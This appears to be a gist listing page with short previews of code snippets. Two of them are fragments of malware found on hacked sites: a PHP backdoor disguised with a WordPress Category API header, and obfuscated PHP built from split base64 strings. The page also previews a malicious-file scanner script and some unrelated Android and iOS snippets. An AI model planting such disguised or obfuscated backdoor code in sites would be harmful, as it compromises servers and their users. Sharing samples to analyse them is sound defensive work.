Skip to content

Instantly share code, notes, and snippets.

@dodyw
dodyw / gist:8212999
Created January 1, 2014 23:48
Backdoor script type #1, usually uploaded by hacker to folder with 777 permission.
<?php
/**
* WordPress Category API
*
* @package WordPress
*/
/**
* Retrieves all category IDs.
@dodyw
dodyw / gist:8212966
Created January 1, 2014 23:44
Found this code in hacked site. Anyone can read it?
<?php
function _1202589136($i)
{
$a = Array(
'RE' . '9DVU1FTl' . 'RfUk9' . 'P' . 'V' . 'A' . '=' . '=',
'L3V' . 'w' . 'bG' . '9hZF' . '9' . 'maWx' . 'lc' . 'y9nZW9pcC5k' . 'YXQ=',
'X' . 'yg' . 'u',
'Kilf',
'' . 'ZQ==',
@dodyw
dodyw / findbot.pl
Last active October 11, 2019 10:30
Perl script to find suspicious scripts. This script is taken from http://cbl.abuseat.org/findbot.pl
#!/usr/bin/perl
# The above line may need to be changed to point at your version of Perl
#
# This script attempts to find malicious files/scripts on your machine.
# It specifically looks for spambots that we're aware of, as well
# as "suspicious" constructs in various scripting languages.
#
# Normally it should be run as root.
#
# By default, findbot.pl scans the directories /tmp, /usr/tmp, /home and
@dodyw
dodyw / crop.java
Created September 17, 2013 06:41
Simple android crop based
File imgFile = new File("/mnt/sdcard/ektp_baru_blur.jpg");
Bitmap myBitmap = BitmapFactory.decodeFile(imgFile.getAbsolutePath());
Bitmap destBitmap = Bitmap.createBitmap(myBitmap, 100,0,1410,myBitmap.getHeight());
finalImg.setImageBitmap(destBitmap);
@dodyw
dodyw / delay.java
Created September 12, 2013 06:34
Android delay 5m
final Handler handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
// Do something after 5s = 5000ms
Log.i("coba","JALANKAN BARIS INI");
}
@dodyw
dodyw / a.java
Last active December 22, 2015 19:39
Set bluebamboo P25 never sleep/off
//1D 7C 01 n
byte[] bbNoSleep = {(byte)0x1D,(byte)0x7C,(byte)0x01,(byte)0xFF,};
BlueToothServicesP25.sendSocketMsg(bbNoSleep);
@dodyw
dodyw / a.m
Created September 10, 2013 09:21
UITextField custom background and set padding
[_loginBtn setBackgroundImage:[UIImage imageNamed:@"buttonlogin"] forState:UIControlStateNormal];
UIImage *fieldBGImage = [[UIImage imageNamed:@"inputform"] stretchableImageWithLeftCapWidth:20 topCapHeight:20];
[_userIDTxt setBorderStyle:UITextBorderStyleNone];
[_userIDTxt setBackground:fieldBGImage];
[_tinTxt setBorderStyle:UITextBorderStyleNone];
[_tinTxt setBackground:fieldBGImage];
UIView *paddingView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, 20, 20)];
_userIDTxt.leftView = paddingView;
@dodyw
dodyw / phalcon.sh
Created August 3, 2013 15:32
prepare for phalcon compile on osx mountain lion
brew install autoconf
brew install automake
brew install libtool
@dodyw
dodyw / gist:6142519
Created August 2, 2013 19:09
chef install
gem install chef ruby-shadow --no-ri --no-rdoc
@dodyw
dodyw / sdcard.sh
Created July 5, 2013 07:52
Create android vd and add writeable sdcard
android create avd -n my_avd -t 7
mksdcard -l e 512M mysdcard.img
emulator -avd my_avd -sdcard mysdcard.img